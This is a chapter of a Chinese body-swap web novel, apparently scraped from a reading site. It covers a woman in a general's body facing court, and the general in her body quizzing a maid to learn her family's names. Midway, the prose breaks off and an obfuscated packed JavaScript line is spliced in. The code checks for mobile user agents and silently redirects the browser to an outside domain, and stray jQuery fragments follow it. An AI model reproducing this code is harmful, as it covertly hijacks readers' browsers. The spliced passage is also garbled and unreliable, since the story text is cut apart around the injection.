默认冷灰
24号文字
方正启体

5. 怀霜 来 我考考你

作者:猫芒刺本书字数:K更新时间:
    徐怀霜与天使一并进宫,五脏六腑都难受得紧。


    一则,能在盛都为官者,没有一个会是傻子,她往日在家中读过经史,说不上多满腹经纶,但叫她在金銮殿装一副散漫心肠,做出不依本分之态,行欺骗之事,如何能行?


    二则,这位天使抹了面,凑近了,细细闻,才闻出一丝诡谲的香粉味,抬脚进马车时,她见车轴还新刷了一层油。


    她有些想呕。


    行至殿外时,她听清了殿内在激论,论她这具身体的桀骜不驯,胡作非为。


    她盯着盘龙柱,盘龙柱上的龙眼仿若也盯着她。


    无所傍依时,她听见天使在传唤她进殿。


    遏制自己摒弃一切胡思乱想,徐怀霜轻轻摩挲那枚令她心安些许的玉佩,踏进了金銮殿。


    一路有无数目光掠至她的脸上,徐怀霜心中打鼓,面上却平静行礼,旋即一直稍稍颔首,不曾抬脸窥视官家,做出不敬之举。


    强摁下了要抬头寻徐家长辈的心。


    殿中静得出奇,几晌才听一道声音。


    “哼,烜赫将军今日是做的哪出?”


    方才正是这道声音讥讽得最厉害,徐怀霜遂循声望去,认出这位官员来,略微一歪头,不曾说话。


    这位卢大人在盛都是出了名的利齿,因身为言官,她家中几位为官的长辈都在他手下吃过闷亏。


    祸及口出,这位将军既肆意妄为。


    那她不说话,是不是反而更妥当?


    卢鸿光斜眼乜着这位他瞧不上的将军,见他竟还歪着脑袋用眼神挑衅自己,一时怄出火,脸都气黄了,“大殿之上,你岂能如此不知礼数!”


    徐怀霜垂眼一思量,左编右想,不明白朝堂之上是否还有她不曾了解过的礼数。


    遂抿一抿唇,答道:“方才臣进殿已向官家行礼,只是臣得见天颜难免惶恐,若有疏漏,望卢大人体谅一番。”


    “嘶——”


    殿内众臣倒吸一口凉气。


    这位烜赫将军好狠毒!


    两片嘴皮子轻轻一碰就给卢大人盖了顶臣比君高的帽子!


    他这话是何用意?


    哦,方才我已向官家行过礼了,官家都没发话没与我计较呢,你个老东西在此越矩叨叨个屁!


    卢鸿光原本气得焦黄的脸一霎涨红,脸皮子一抖,先是偷瞄恒文帝一眼,再恨恨朝徐怀霜瞪了回去,倒不好再说任何话了。


    叫他说什么呢?说他并非是那个意思?


    此子阴险,设套叫他往里钻!


    哼,他岂能上当!


    恒文帝仿若没听见此番动静,待得大殿静寂,适才朝徐怀霜招招手,“江卿站得远,过来些。”


    徐怀霜立时上前,仍垂着脸,由着恒文帝打量。


    原来这位烜赫将军姓江。


    沈老将军见她举手投足规规矩矩,虽不知她是装的还是如何,但到底还念挂着训兵一事,忙不迭就着先前的口风提议,“官家,依老臣愚见,不如就先拨一支步兵给烜赫将军吧!”


    恒文帝跨坐龙椅上,对此并未反驳,反而亲身询问:“江卿认为如何?”


    离得近了,再低着脑袋便有些过分守礼,徐怀霜在心底反复斟酌,总算抬起脸去瞧恒文帝。


    恒文帝穿一身赭黄龙纹圆领袍,方正之相,眼角的褶皱因他的笑变得益发浓厚。


    原来这便是官家的模样啊。


    天使在一旁提点,“烜赫将军,官家问你话呢!”


    是了,训兵一事。


    方才她在殿外便已听清。


    徐怀霜在心内咂摸着若此刻站在殿内的人是本尊,他该如何作答?


    是应下?还是应下?


    她压根咂摸不出他拒绝的理由。


    早在将军府醒来时,她对镜束冠那一会,她就已万分冷静地回忆了脑子里一切与他有关的消息。


    二哥哥与潘家姐姐相看时,潘太太谈起他来,鄙夷下更藏着一股酸味,寻常人做官一步一个脚印,他这将军之位来得容易,定然是与朝廷做了交易。


    护城河边,他高坐马上,两个副将摇头摆脑,他高抬下颌,尽数收下那些哪怕算不得友好的言论。


    他是山匪出身,但他想做将军。


    思衬间,徐怀霜有了定论,沉沉应声:“臣,但凭官家吩咐。”


    烜赫将军,我替你应下此事。


    希望你在徐家莫要太过分才是。


    朝臣心知这烜赫将军定会应声,倒也没起反对之言,他们本就不赞成卢鸿光那老东西的话,这厢见得官家也乐见其成,自是不再出声。


    再说这卢鸿光,他便吹胡子瞪眼有些难受了。


    此事甫一定下,卢鸿光立时要持笏反对,偏生他先前多舌斥了这山匪一嘴,叫他给挖了个坑,他若再去反对,岂不是明晃晃地在告诉官家——


    你下来,衣裳也脱了。


    这龙椅我卢鸿光来坐!


    这龙袍我卢鸿光来穿!


    难为他一把年纪怄着气,硬憋着一口气在胸腔里,他这张嘴不能说话,他便转着脑袋朝后头的季聿之睇眼,示意他这泥腿子站出来反对。


    孰知季聿之忽然染上盲症,只盯着笏板瞧。


    末了还扯袖拂一拂笏板上压根不存在的灰。


    卢鸿光本就算不得硬朗的身板险些气得撅过去。


    季聿之!


    竖子!不足与谋!


    气煞他也!


    这厢应下训兵一事,恒文帝便挥一挥手,叫徐怀霜先行退下,徐怀霜自是本份退出殿外,只行至拐角却陡然叫停领路的内监,只说叫内监先行去忙,稍刻她会自行出宫。


    不一时内监就笑眯眯离去。


    徐怀霜左顾右盼,最终目光对准拐角一处隐蔽的柱身后,她在此静候,静等徐家长辈出来。


    她如今成了另一个人。


    却也还想在惶恐时见见家人。


    总算等得下朝,徐怀霜藏在柱身后,歪着脑袋,只露一双眼,紧紧盯着逐个跨出金銮殿的身影。


    未几两道熟悉之影出现,她惊喜之余下意识要唤大伯二伯,所幸及时反应过来,忙用长着厚茧的手掌捂住了嘴。


    她未出声,那厢徐家大爷徐方隐与二爷徐明谦反倒察觉有视线落在身上,旋即敏锐朝廊角一睇眼,细细一瞧,就望见那位本该早就出宫的烜赫将军。


    徐方隐官至尚书右仆射,徐明谦乃御史中丞,二人温和正直,在徐怀霜心中一直是尤为亲切的长辈,见自己被发现,鼻尖一酸,顾不得再遮掩,胡乱掩去眼眸里的湿润,端起身板向二人行去。


    徐明谦先是上下扫量她一眼,适才牵唇露出一抹笑,“将军怎的还未出宫?”


    徐方隐则沉稳许多,只稍稍颔首。


    算作打过招呼。


    徐怀霜忙与二人行礼,不得已寻了个拙劣的借口,“......我、我迷路了。”


    徐明谦讶然:“将军昨日下晌不是进过宫么?夜里又走同样的路出宫了,怎的还会迷路呢?”


    徐怀霜赧然低下头,抿着唇沉默。


    徐方隐为人正直,对身前这位烜赫将军的出身不甚在意,闻声便点点头,“既如此,将军便随我二人一同出宫吧,这回记着路,日后可莫要再迷路了。”


    见这将军呆愣着,徐明谦笑一笑,抬手轻拍他的臂膀,“走吧,烜赫将军。”


    徐明谦与兄长徐方隐一并前行。


    时不时稍稍侧头。


    用余光去瞥乖巧跟在身后的将军。


    再三转几下眼珠子,徐明谦到底低声与兄长咬耳,“大哥,你有没有觉着这将军有些奇怪?”


    徐方隐面上虽不显,却也压低声音:“何处奇怪?”


    徐明谦鬼鬼祟祟往徐方隐身侧再靠近些,掰着指头去数,“喏,你记得昨日见他时的情形吧?那模样简直是在用鼻孔瞧人,席间与人喝起酒来不用杯盏,反倒用碗,昨夜卢鸿光阴阳怪气骂他,他也阴阳怪气给骂了回去,今日却有所不同。”


    “今日这将军竟还与你我二人见礼。”


    “瞧着很是乖巧。”


    “比咱家的三郎六郎都乖。”


    他一连举上许多例子,徐方隐听及身后的脚步声,轻咳提醒他,“住嘴,习武之人耳清目明,别叫他听见。”


    徐明谦悻悻闭了嘴。


    待得出了宫门,徐明谦见有两位副将在掖门外候着,适才朝徐怀霜摆摆手,“将军,既有副将在此等你,我们便先走了,回见。”


    徐怀霜不免一眼望向两位副将,暗自撇开脸瘪瘪唇,再度谢过大伯与二伯,低垂着脑袋往副将跟前走了。


    任玄喜滋滋过来要勾徐怀霜的肩,临行却被朱岳拉住衣袖,提醒他而今是在宫门口。


    任玄只得胡乱收回手,笑眯眯问:“大当家,官家叫你进宫又赏赐了什么好东西?”


    徐怀霜拧着眉纠正:“别唤我大当家。”


    不一时觉得语气过重,又轻叹一声,将恒文帝派她领一支步兵去军营训兵一事说了。


    任玄果真大喜,剔起两条小山似的眉,来回踱步几圈,一霎抚掌,“好!好男儿就该领兵打仗!大当......将军!你的本事我和朱岳心里门儿清呢,你定能训出全盛都最强悍的一支兵!”


    本事。


    她何来的本事训兵?


    徐怀霜眉尾难能痉挛抽一抽。


    俄延几晌,徐怀霜岔开话题,“我还病着,皇城也不许骑马,你二人可套车来了?”


    先前在将军府,她冷静之余劝自己,为今之计是走一步看一步,方才见了家里的大伯与二伯,适才明白自己压根在这具身体里待不住脚。


    她迫切想换回去。


    这厢见朱岳赶来马车,徐怀霜立时蜇进车内,头一遭泄了气,脑袋稍稍往后仰,轻倚在车壁上。


    “先不回将军府,去坊市转一圈。”


    她须尽快借着逛坊市的机会靠近高梧巷。


    借机先摸清占据她身体的那位将军可有做出什么惊骇徐家众人之事。


    .


    江修穿过园子,大大方方去瞧这宅子,旋即见妙青妙仪领着他行至一处院落,遂同手同脚行进,不一时打帘进去。


    至于为何同手同脚。


    自是他穿不惯女儿家的裙子了。


    因着那枚玉佩的缘故,江修此刻心情甚好,甚至哼上几句,正疑惑这老太太怎的不吭声,一抬脸就见身前七八张女人的脸都错愕盯着他。


    上首那位鬓间发白的定是老太太了。


    江修见其神情平平,忆起这位女娘的规矩,顿时在心里喊上一句不妙,于是掐着嗓子,胡乱摆了个行礼的姿势,“见过祖母。”


    尖利的嗓音甫一出口,连江修自个都恶寒发毛。


    适才反应过来。


    他如今就是个女娘!


    为何还掐着嗓子学女娘开口说话?


    不知这宅子里的女人怎么这般多,江修一时认不得这些人,但见老太太没吭声,他便不动声色扫量一阵,窥清一张眼眉有些熟悉的妇人,心内有了主意,几步行去那位妇人身前。


    先试探着喊了声母亲。


    见其没有旁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042278|178831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的神情,旋即扯过一张绣墩,两条腿一张,直直跨坐下去。


    他打量着众人。


    众人也打量着他。


    二房的五姑娘徐蓁蓁美目轻张,歪着脸瞧他好半晌,才扯出一丝笑来,“四姐姐,昨夜没睡好?还是身子不适?”


    江修转目扫过去,本不愿搭话,但念及他不知何时才能换回去,想必要在这女娘的身体里多待些时日,太过奇怪倒也不好。


    他在虎虎山常听山脚的人说。


    这些世家很是奇怪,都吃喝不愁了,还一味讲究。


    官位品级,宅子风水。


    总之通通在意得很。


    这老太太瞧着就是个讲究人,他太古怪了,给她怀疑上,怀疑她的乖乖孙女儿中邪了,他担心届时这宅子里请来道人往他身上洒狗血,他会忍不住暴露本性。


    于是到底反问一嘴,“何来此说?”


    另一道声音接了他的话搭腔,他转着脑袋去看,是个脸盘尖尖、小这具身体至少两岁的女娘在说话。


    那女娘嗤嗤而笑,语气叫江修听得连连拧眉,“四姐姐还问上了?谁不晓得四姐姐最是规矩,今日见了祖母行礼却毛毛躁躁,屋子里的长辈这么多,四姐姐除了叫四婶母一声,可就没叫过旁人了。”


    话说江修从闺房醒来至今。


    根本就没在意过这位女娘姓甚名谁。


    也没在意过这宅子里的长辈是何身份。


    再一打眼瞧见这一大堆女人,他适才高兴起来的情绪又压下去,陡地烦躁起来。


    这几张脸盯着他看得脑仁胀疼,沉默几瞬,江修冷不丁起身,一言不发走了出去。


    待得行至廊下,见妙青妙仪守在院子外头,江修忙躲去假石后头,给附近洒扫的婢女招招手。


    他一眼就瞧着这婢女像新来的。


    果不其然,那婢女畏手畏脚过来,问他有何吩咐。


    江修一面瞥着外头的动静,一面轻咳一声,眼珠子一转问起婢女话来。


    “你来我家几时了?”


    婢女答道:“回四姑娘,有十来日了。”


    江修笑得放肆,追问:“那我考考你,府里的主子你可都认得了?”


    婢女怯怯低着脑袋,虽不知四姑娘为何忽然叫她来此,还声称要考考她,但想着教她规矩的妈妈提过这位四姑娘好学,她做奴婢的不好多讲,便只点一点头,“......请姑娘考奴婢。”


    江修稍稍眯眼,问出第一个问题,“我问你,我家......在我这一辈,一共有几个姊妹,屋子里穿橘黄色衣裳的姑娘排几?粉色衣裳的姑娘又排几?蓝色衣裳的姑娘又是几?”


    婢女忙答道:“奴婢晓得,妈妈带奴婢认过主子,加上姑娘一起,府上一共八姊妹。”


    “大姑娘二公子在大房,五姑娘在二房,六公子与七姑娘在三房,三公子与姑娘、还有最小的八姑娘在四房。”


    江修:“。”


    他暗自笑骂这宅子里的人可真能生。


    下猪崽子呢?


    又听婢女道:“屋子里穿蓝色衣裳的是大姑娘,橘黄色衣裳的是五姑娘,穿粉色衣裳的是七姑娘。”


    江修在心内理清这女娘姊妹间的顺序,晓得与她一脉相连的只有排行老三的哥哥与排行第八的妹妹,便没再多去刻意记下其他几房的人。


    多见几回就能记下了。


    他旋即又问:“大姐姐,五妹妹,还有七妹妹叫什么名字?”


    婢女不大敢说,却还是硬着头皮开口:“......大姑娘叫徐徽音,五姑娘叫徐蓁蓁,七姑娘叫徐文珂。”


    直呼主子名讳乃大不敬,原以为四姑娘能放过她,孰料四姑娘吊起一侧柳叶做的眉,问她:“哦,那你说说,我叫什么名字?”


    婢女骇目圆瞪,不敢抬脸瞧主子,哆哆嗦嗦开口:“......姑、姑娘闺名怀霜。”


    徐怀霜。


    江修卷着舌尖刮一刮上颚,在心里反复咀嚼她的名字。


    婢女见四姑娘沉默,便以为自个哪里出了错,忙要伏腰下跪。


    江修一霎拦停她,不耐拧起眉,“答得不错,跪什么?”


    婢女呆愣起身。


    江修旋即阴恻恻开口:“你还算聪明,我再加点难度,你能答出来么?”


    婢女瘪一瘪唇:“请姑娘出题。”


    江修抵一抵腮,拇指指腹下意识做出摩挲银戒的动作,却只摸到光滑柔软的一片。


    今日太阳刺目,稍刻,他眯起眼,问:“屋子里穿蓝色衣裳,鼻梁处有颗痣的,是哪位?”


    婢女:“是大太太。”


    江修:“你很聪明,我再问你,脸有些圆,今日只在脑袋上戴了根发簪的,是哪位?”


    婢女得了夸赞一霎惊喜。


    忙答道:“是三太太!”


    徐怀霜的母亲他已认得,眉眼与她有几分相似。


    最后那位自然是那二房的太太了。


    他这人向来直来直往,躲在这给婢女一通问已是不耐到极点,得到想要的答案,江修又散漫夸赞了婢女几句聪明,适才重回廊下。


    徐怀霜啊徐怀霜。


    你这一家子的人可真难认。


    先替你瞒着。


    换回来了,你可得好好谢我。


    江修立在厚重的帘外,深深吸气,翘起尾指扶鬓,轻柔打帘而入,“祖母见谅,霜儿适才有些不舒服。”


    言讫他掀起她浓密的羽睫,轻轻扇动几下,挨个喊了几房的太太。


    末了还闷咳几声,“哎哟,霜儿让长辈们见笑了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)